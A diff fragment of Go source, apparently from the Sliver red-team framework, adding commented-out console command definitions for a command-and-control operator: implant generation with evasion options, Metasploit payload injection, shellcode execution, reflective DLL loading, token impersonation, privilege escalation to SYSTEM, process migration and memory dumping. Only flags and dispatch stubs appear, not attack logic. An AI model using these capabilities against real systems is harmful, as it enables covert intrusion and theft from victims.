+ // profilesCmd := &grumble.Command{
+ // Name: consts.ProfilesStr,
+ // Help: "List existing profiles",
+ // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // profiles(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // }
+ // profilesCmd.AddCommand(&grumble.Command{
+ // Name: consts.GenerateStr,
+ // Help: "Generate implant from a profile",
+ // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("p", "name", "", "profile name")
+ // f.String("s", "save", "", "directory/file to the binary to")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // profileGenerate(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // profilesCmd.AddCommand(&grumble.Command{
+ // Name: consts.NewStr,
+ // Help: "Save a new implant profile",
+ // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("o", "os", "windows", "operating system")
+ // f.String("a", "arch", "amd64", "cpu architecture")
+ // f.Bool("d", "debug", false, "enable debug features")
+ // f.Bool("e", "evasion", false, "enable evasion features")
+ // f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
+
+ // f.String("m", "mtls", "", "mtls domain(s)")
+ // f.String("g", "wg", "", "wg domain(s)")
+ // f.String("H", "http", "", "http[s] domain(s)")
+ // f.String("n", "dns", "", "dns domain(s)")
+ // f.String("p", "named-pipe", "", "named-pipe connection strings")
+ // f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
+
+ // f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port")
+ // f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port")
+
+ // f.String("c", "canary", "", "canary domain(s)")
+
+ // f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)")
+ // f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors")
+ // f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)")
+
+ // f.String("w", "limit-datetime", "", "limit execution to before datetime")
+ // f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
+ // f.String("y", "limit-username", "", "limit execution to specified username")
+ // f.String("z", "limit-hostname", "", "limit execution to specified hostname")
+ // f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+
+ // f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
+
+ // f.String("N", "profile-name", "", "profile name")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // newProfile(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // profilesCmd.AddCommand(&grumble.Command{
+ // Name: consts.RmStr,
+ // Help: "Remove a profile",
+ // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("profile-name", "name of the profile")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // rmProfile(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // console.App.AddCommand(profilesCmd)
+
+ // implantBuildsCmd := &grumble.Command{
+ // Name: consts.ImplantBuildsStr,
+ // Help: "List implant builds",
+ // LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // listImplantBuilds(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // }
+ // implantBuildsCmd.AddCommand(&grumble.Command{
+ // Name: consts.RmStr,
+ // Help: "Remove implant build",
+ // LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("implant-name", "implant name")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // rmImplantBuild(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // console.App.AddCommand(implantBuildsCmd)
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ListCanariesStr,
+ // Help: "List previously generated canaries",
+ // LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("b", "burned", false, "show only triggered/burned canaries")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // canaries(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.MsfStr,
+ // Help: "Execute an MSF payload in the current process",
+ // LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
+ // f.String("o", "lhost", "", "listen host")
+ // f.Int("l", "lport", 4444, "listen port")
+ // f.String("e", "encoder", "", "msf encoder")
+ // f.Int("i", "iterations", 1, "iterations of the encoder")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // msf(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.MsfInjectStr,
+ // Help: "Inject an MSF payload into a process",
+ // LongHelp: help.GetHelpFor([]string{consts.MsfInjectStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("p", "pid", -1, "pid to inject into")
+ // f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
+ // f.String("o", "lhost", "", "listen host")
+ // f.Int("l", "lport", 4444, "listen port")
+ // f.String("e", "encoder", "", "msf encoder")
+ // f.Int("i", "iterations", 1, "iterations of the encoder")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // msfInject(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // // [ Session Commands ] ---------------------------------------------
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.PsStr,
+ // Help: "List remote processes",
+ // LongHelp: help.GetHelpFor([]string{consts.PsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("p", "pid", -1, "filter based on pid")
+ // f.String("e", "exe", "", "filter based on executable name")
+ // f.String("o", "owner", "", "filter based on owner")
+ // f.Bool("c", "print-cmdline", false, "print command line arguments")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // ps(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.PingStr,
+ // Help: "Send round trip message to implant (does not use ICMP)",
+ // LongHelp: help.GetHelpFor([]string{consts.PingStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // ping(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.GetPIDStr,
+ // Help: "Get session pid",
+ // LongHelp: help.GetHelpFor([]string{consts.GetPIDStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // getPID(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.GetUIDStr,
+ // Help: "Get session process UID",
+ // LongHelp: help.GetHelpFor([]string{consts.GetUIDStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // getUID(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.GetGIDStr,
+ // Help: "Get session process GID",
+ // LongHelp: help.GetHelpFor([]string{consts.GetGIDStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // getGID(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.WhoamiStr,
+ // Help: "Get session user execution context",
+ // LongHelp: help.GetHelpFor([]string{consts.WhoamiStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // whoami(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.LsStr,
+ // Help: "List current directory",
+ // LongHelp: help.GetHelpFor([]string{consts.LsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "path to enumerate", grumble.Default("."))
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // filesystem.Ls(ctx, console)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.RmStr,
+ // Help: "Remove a file or directory",
+ // LongHelp: help.GetHelpFor([]string{consts.RmStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("r", "recursive", false, "recursively remove files")
+ // f.Bool("f", "force", false, "ignore safety and forcefully remove files")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "path to the file to remove")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // filesystem.Rm(ctx, console)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.MkdirStr,
+ // Help: "Make a directory",
+ // LongHelp: help.GetHelpFor([]string{consts.MkdirStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "path to the directory to create")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // mkdir(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.CdStr,
+ // Help: "Change directory",
+ // LongHelp: help.GetHelpFor([]string{consts.CdStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "path to the directory", grumble.Default("."))
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // cd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.PwdStr,
+ // Help: "Print working directory",
+ // LongHelp: help.GetHelpFor([]string{consts.PwdStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // pwd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.CatStr,
+ // Help: "Dump file to stdout",
+ // LongHelp: help.GetHelpFor([]string{consts.CatStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("c", "colorize-output", false, "colorize output")
+ // f.Bool("X", "loot", false, "save output as loot")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "path to the file to print")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // cat(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.DownloadStr,
+ // Help: "Download a file",
+ // LongHelp: help.GetHelpFor([]string{consts.DownloadStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+
+ // f.Bool("X", "loot", false, "save output as loot")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("remote-path", "path to the file or directory to download")
+ // a.String("local-path", "local path where the downloaded file will be saved", grumble.Default("."))
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // download(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.UploadStr,
+ // Help: "Upload a file",
+ // LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("local-path", "local path to the file to upload")
+ // a.String("remote-path", "path to the file or directory to upload to", grumble.Default(""))
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // upload(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.IfconfigStr,
+ // Help: "View network interface configurations",
+ // LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // ifconfig(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.NetstatStr,
+ // Help: "Print network connection information",
+ // LongHelp: help.GetHelpFor([]string{consts.NetstatStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // netstat(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("T", "tcp", true, "display information about TCP sockets")
+ // f.Bool("u", "udp", false, "display information about UDP sockets")
+ // f.Bool("4", "ip4", true, "display information about IPv4 sockets")
+ // f.Bool("6", "ip6", false, "display information about IPv6 sockets")
+ // f.Bool("l", "listen", false, "display information about listening sockets")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ProcdumpStr,
+ // Help: "Dump process memory",
+ // LongHelp: help.GetHelpFor([]string{consts.ProcdumpStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("p", "pid", -1, "target pid")
+ // f.String("n", "name", "", "target process name")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // procdump(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.RunAsStr,
+ // Help: "Run a new process in the context of the designated user (Windows Only)",
+ // LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
+ // f.String("p", "process", "", "process to start")
+ // f.String("a", "args", "", "arguments for the process")
+ // f.Int("t", "timeout", 30, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // runAs(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ImpersonateStr,
+ // Help: "Impersonate a logged in user.",
+ // LongHelp: help.GetHelpFor([]string{consts.ImpersonateStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("username", "name of the user account to impersonate")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // impersonate(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", 30, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.RevToSelfStr,
+ // Help: "Revert to self: lose stolen Windows token",
+ // LongHelp: help.GetHelpFor([]string{consts.RevToSelfStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // revToSelf(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", 30, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.GetSystemStr,
+ // Help: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)",
+ // LongHelp: help.GetHelpFor([]string{consts.GetSystemStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("p", "process", "spoolsv.exe", "SYSTEM process to inject into")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // getsystem(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ExecuteAssemblyStr,
+ // Help: "Loads and executes a .NET assembly in a child process (Windows Only)",
+ // LongHelp: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("filepath", "path the assembly file")
+ // a.StringList("arguments", "arguments to pass to the assembly entrypoint", grumble.Default([]string{}))
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.String("p", "process", "notepad.exe", "hosting process to inject into")
+ // f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+ // f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+ // f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+ // f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+ // f.Bool("s", "save", false, "save output to file")
+ // f.Bool("X", "loot", false, "save output as loot")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // executeAssembly(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ExecuteShellcodeStr,
+ // Help: "Executes the given shellcode in the sliver process",
+ // LongHelp: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // executeShellcode(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("filepath", "path the shellcode file")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("r", "rwx-pages", false, "Use RWX permissions for memory pages")
+ // f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
+ // f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
+ // f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.SideloadStr,
+ // Help: "Load and execute a shared object (shared library/DLL) in a remote process",
+ // LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("a", "args", "", "Arguments for the shared library function")
+ // f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
+ // f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+ // f.Bool("s", "save", false, "save output to file")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("filepath", "path the shared library file")
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // sideload(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.SpawnDllStr,
+ // Help: "Load and execute a Reflective DLL in a remote process",
+ // LongHelp: help.GetHelpFor([]string{consts.SpawnDllStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+ // f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
+ // f.Bool("s", "save", false, "save output to file")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("filepath", "path the DLL file")
+ // a.StringList("arguments", "arguments to pass to the DLL entrypoint", grumble.Default([]string{}))
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // spawnDll(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.MigrateStr,
+ // Help: "Migrate into a remote process",
+ // LongHelp: help.GetHelpFor([]string{consts.MigrateStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // migrate(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.Uint("pid", "pid")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // websitesCmd := &grumble.Command{
+ // Name: consts.WebsitesStr,
+ // Help: "Host static content (used with HTTP C2)",
+ // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // websites(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("name", "website name", grumble.Default(""))
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // }
+ // websitesCmd.AddCommand(&grumble.Command{
+ // Name: consts.RmStr,
+ // Help: "Remove an entire website",
+ // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // removeWebsite(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("name", "website name", grumble.Default(""))
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // websitesCmd.AddCommand(&grumble.Command{
+ // Name: consts.RmWebContentStr,
+ // Help: "Remove content from a website",
+ // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("r", "recursive", false, "recursively add/rm content")
+ // f.String("w", "website", "", "website name")
+ // f.String("p", "web-path", "", "http path to host file at")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // removeWebsiteContent(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // websitesCmd.AddCommand(&grumble.Command{
+ // Name: consts.AddWebContentStr,
+ // Help: "Add content to a website",
+ // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("w", "website", "", "website name")
+ // f.String("m", "content-type", "", "mime content-type (if blank use file ext.)")
+ // f.String("p", "web-path", "/", "http path to host file at")
+ // f.String("c", "content", "", "local file path/dir (must use --recursive for dir)")
+ // f.Bool("r", "recursive", false, "recursively add/rm content")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // addWebsiteContent(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // websitesCmd.AddCommand(&grumble.Command{
+ // Name: consts.WebContentTypeStr,
+ // Help: "Update a path's content-type",
+ // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("w", "website", "", "website name")
+ // f.String("m", "content-type", "", "mime content-type (if blank use file ext.)")
+ // f.String("p", "web-path", "/", "http path to host file at")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // updateWebsiteContent(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // console.App.AddCommand(websitesCmd)
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.TerminateStr,
+ // Help: "Kill/terminate a process",
+ // LongHelp: help.GetHelpFor([]string{consts.TerminateStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // terminate(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.Uint("pid", "pid")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("f", "force", false, "disregard safety and kill the PID")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ScreenshotStr,
+ // Help: "Take a screenshot",
+ // LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("X", "loot", false, "save output as loot")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // screenshot(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.LoadExtensionStr,
+ // Help: "Load a sliver extension",
+ // LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
+ // Run: func(ctx *grumble.Context) error {
